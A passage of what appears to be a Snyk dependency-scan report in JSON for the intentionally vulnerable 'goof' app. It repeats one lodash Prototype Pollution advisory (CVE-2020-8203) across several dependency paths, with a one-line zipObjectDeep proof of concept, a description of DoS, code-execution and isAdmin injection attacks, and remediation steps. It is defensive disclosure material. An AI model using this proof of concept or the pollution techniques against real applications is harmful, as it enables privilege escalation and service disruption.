**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-generator@6.26.1", + "babel-types@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-generator@6.26.1", + "babel-types@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-traverse@6.26.0", + "babel-types@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-traverse@6.26.0", + "babel-types@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "babel-types@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "babel-types@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `lodash` to version 4.17.20 or higher.\n## References\n- [GitHub Commit](https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12)\n- [GitHub PR](https://github.com/lodash/lodash/pull/4759)\n", + "disclosureTime": "2020-04-27T22:14:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "4.17.20" + ], + "id": "SNYK-JS-LODASH-567746", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "NSP": [ + "1523" + ], + "CVE": [ + "CVE-2020-8203" + ], + "GHSA": [ + "GHSA-p6mc-m468-83gw" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-05T12:28:33.431814Z", + "moduleName": "lodash", + "packageManager": "npm", + "packageName": "lodash", + "patches": [ + { + "comments": [], + "id": "patch:SNYK-JS-LODASH-567746:0", + "modificationTime": "2020-04-30T14:28:46.729327Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/lodash/20200430/lodash_0_0_20200430_6baae67d501e4c45021280876d42efe351e77551.patch" + ], + "version": ">=4.14.2" + } + ], + "proprietary": false, + "publicationTime": "2020-04-28T14:59:14Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/lodash/lodash/commit/c84fe82760fb2d3e03a63379b297a1cc1a2fce12" + }, + { + "title": "GitHub PR", + "url": "https://github.com/lodash/lodash/pull/4759" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<4.17.20" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "babel-traverse@6.26.0", + "lodash@4.17.10" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-lib-instrument@1.10.1", + "babel-template@6.26.0", + "babel-traverse@6.26.0", + "lodash@4.17.20" + ], + "isUpgradable": true, + "isPatchable": true, + "name": "lodash", + "version": "4.17.10" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H/E:P/RL:U/RC:C", + "alternativeIds": [], + "creationTime": "2020-04-28T14:32:13.683154Z", + "credit": [ + "posix" + ], + "cvssScore": 8.2, + "description": "## Overview\n[lodash](https://www.npmjs.com/package/lodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\n\nAffected versions of this package are vulnerable to Prototype Pollution. The function `zipObjectDeep` can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects.\r\n\r\n## PoC\r\n```\r\nconst _ = require('lodash');\r\n_.zipObjectDeep(['__proto__.z'],[123])\r\nconsole.log(z) // 123\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
